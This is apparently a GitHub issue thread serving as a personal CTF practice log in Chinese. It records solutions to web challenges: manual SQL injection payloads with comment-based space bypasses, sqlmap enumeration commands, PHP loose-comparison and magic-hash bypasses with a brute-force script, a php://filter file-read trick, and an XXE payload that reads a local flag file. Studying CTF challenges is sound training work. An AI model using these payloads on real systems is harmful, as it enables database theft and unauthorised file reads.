1070148808 / huaweiStudyJava

0 stars 0 forks source link

CTF刷题 #20

Closed 1070148808 closed 5 years ago

1070148808 commented 5 years ago

格式:

时间: 题型: 题目地址(介绍): 解题: 答案: 学习点:

题目:https://blog.csdn.net/dcison/article/details/53125540

1070148808 commented 5 years ago

时间: 20190110 题型: sql注入 题目地址(介绍): url:http://ctf5.shiyanbar.com/423/web/ 实验吧中找的题目 简单的sql注入 解题: 答案:输入url:http://ctf5.shiyanbar.com/423/web/? 手工


- 1,1‘,1 and 1=1 1=2 没区别,应该过滤了后面的空格
- 代替空格,出错了,应该是字符型问题,构建后面的 ‘ 拼接,如union,where等
- ok,用 or 看看,没有用信息
- 试试数据库信息,先看看显示那几个位置的数据,union发现就一位
- 可以显示数据库名等,table_name和information_schema.columns两个字符串被过滤,无法显示表明和字段名,
- 用union/**/select/**/group_concat(table_name)/**/from/**/information_schema.tables查看所有表名,发现有flag,尝试在当前数据库下测试flag表,union/**/select/**/count(*)/**/from/**/flag,发现有一个数据
- 将*换成flag,ok,有一个数据,
- union/**/select/**/group_concat(flag)/**/from/**/flag出来即可

sqlmap

1. id=1%27union/**/select/**/flag/**/from/**/flag/**/where%271%27=%271
2. 先通过SQLmap测试注入点id=1
3. 公司pc问题无法使用sqlmap,需关闭代理软件,通过burpsuite代理流量
4. 直接 sqlmap -u "url" 发现是mysql
5. 接着 sqlmap -u "url" --dbs 发现有三个数据库,web1,test,information_schema
6. 接着看当前数据库和用户,发现用户为web1@localhost,数据库为web1
7. 接着接 --tables查看表结构失败,准备sqlmap的tamper模块,避免大小写防护

学习点: 手工 空格可以用 %20 %09 %0a %0b %0c %0d %a0 %00 /*/ / ! */ 代替 字符型 1' 后的 ’可以用 union select 1' 或者 where ‘1’ = ‘1 拼接 在玩information_schema是可以打开本地数据库测试,然后查看过滤了什么信息

sqlmap 公司pc问题无法使用sqlmap,需关闭代理软件,通过burpsuite代理流量 sqlmap -u "url" --dbs 破解数据库 --current-db --current-user 看当前数据库和用户 --tables查看表结构 --tamper 加载 /tamper 下的过滤项(防止大小写敏感等) -v 3 显示等级,0 ~ 6,可显示更多信息 --level 3 测试等级,1 ~ 5,可测试更加深入

1070148808 commented 5 years ago

时间: 20190110 题型: PHP ==号绕过 题目地址(介绍): http://chinalover.sinaapp.com/web11 解题: http://chinalover.sinaapp.com/web11/sql.php?id=1024.2131 答案:http://chinalover.sinaapp.com/web11 显示robots.txt,接在网址后面(可以用burpsuite爆破),找到sql.php网址 ,第二步为解析sql.php,绕过==号,php弱语言会将比较的两个类型强制转换为统一类型,同时看sql.php源码,需要将输入的值能转换为int型,同时和1024不等,使用1024.212321即可, 学习点:

1070148808 commented 5 years ago

时间: 20190126 题型: php==绕过 , md5爆破 题目地址(介绍): http://chinalover.sinaapp.com/web19/ 解题: 先看屏幕提示输入a,构造index.php?a=xxxxx,匹配字符串 答案: http://chinalover.sinaapp.com/web19/index.php?a=240610708php的==判断若一边有数字,则将另一边强转为数字,同时,若以0e开头的字符串,且后面为数字,即0e1434584415啥的,则默认为0^1434584415,对次方数,因此,这题需构造前面为“0e”,后面为数字的字符串,暴力破解一下 学习点:

脚本

def to_md5(str):
    md = hashlib.md5()
    md.update(str)
    return md.hexdigest()

for i in range(240610123,240610709):
    md5_str=to_md5(str(i))
    if md5_str.startswith("0e") and md5_str[2:].isdigit():
        print "-------------------"+str(i)+"---------------"+md5_str
1070148808 commented 5 years ago

时间: 20190129 题型: php页面改写 题目地址(介绍): http://teamxlc.sinaapp.com/web1/02298884f0724c04293b4d8c0178615e/index.php 解题: 查看f12,密码长度限制10,密码为11位,改一下就好 答案: 学习点:

时间: 20190129 题型: 图片隐写 题目地址(介绍): http://chinalover.sinaapp.com/web2/index.html 解题: 下载图片,改后缀为txt,或者扔到HxD中,ctrl+F即可 答案: 学习点:

时间: 20190129 题型: 页面隐藏 题目地址(介绍): http://chinalover.sinaapp.com/web3/ 解题: 查看访问response,有一个404.html的页面访问成功200,查看一下,flag隐藏在隐去的js代码里面 答案: 学习点:

时间: 20190129 题型: js执行 题目地址(介绍): http://chinalover.sinaapp.com/web20/aaencode.txt 解题: 更换页面编码为utf8,为js颜文字编码,直接在浏览器console运行,报错,在报错处增加缺少的字符,即((ω゚ノ==3) +'') ---> ((゚ω゚ノ==3) +''),运行即可,Demo的地址是:http://utf-8.jp/public/aaencode.html答案: 学习点: 源码地址 https://github.com/jikkai/aaencode-cli/blob/master/index.js

1070148808 commented 5 years ago

时间: 20190202 题型: 文件读取 RFI/LFI 题目地址(介绍): http://4.chinalover.sinaapp.com/web7/index.php 解题: http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php php特性,读取文件,再通过base64解密即可 答案: 学习点: https://www.cnblogs.com/wh4am1/p/6542398.html

1070148808 commented 5 years ago

时间: 20190218 题型: XXE注入 题目地址(介绍): https://blog.csdn.net/qq_31481187/article/details/53028221 解题: burpsuite抓包,然后把content-type后的json换成xml,把下面数据换成

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poem [
 <!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">
 ]>
<poem>
  &xxe;
</poem>

答案: 学习点: 注意"file:///home/ctf/flag.txt" 必须换行,上面xml数据应为

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poem [
 <!ENTITY xxe SYSTEM 
"file:///home/ctf/flag.txt">
 ]>
<poem>
  &xxe;
</poem>
1070148808 commented 5 years ago

文件后缀16进制代码 JPEG (jpg),文件头:FFD8FF

PNG (png),文件头:89504E47

GIF (gif),文件头:47494638

TIFF (tif),文件头:49492A00

Windows Bitmap (bmp),文件头:424D

CAD (dwg),文件头:41433130

Adobe Photoshop (psd),文件头:38425053

Rich Text Format (rtf),文件头:7B5C727466

XML (xml),文件头:3C3F786D6C

HTML (html),文件头:68746D6C3E

Email [thorough only] (eml),文件头:44656C69766572792D646174653A

Outlook Express (dbx),文件头:CFAD12FEC5FD746F

Outlook (pst),文件头:2142444E

MS Word/Excel (xls.or.doc),文件头:D0CF11E0

MS Access (mdb),文件头:5374616E64617264204A

WordPerfect (wpd),文件头:FF575043

Adobe Acrobat (pdf),文件头:255044462D312E

Quicken (qdf),文件头:AC9EBD8F

Windows Password (pwl),文件头:E3828596

ZIP Archive (zip),文件头:504B0304

RAR Archive (rar),文件头:52617221

Wave (wav),文件头:57415645

AVI (avi),文件头:41564920

Real Audio (ram),文件头:2E7261FD

Real Media (rm),文件头:2E524D46

MPEG (mpg),文件头:000001BA

MPEG (mpg),文件头:000001B3

Quicktime (mov),文件头:6D6F6F76

Windows Media (asf),文件头:3026B2758E66CF11

MIDI (mid),文件头:4D546864

1070148808 commented 5 years ago

https://mp.weixin.qq.com/s/UgZsULgeIlo083sgY2LJHA ctf资源

https://ctf-wiki.github.io/ctf-wiki/introduction/resources/ ctf wiki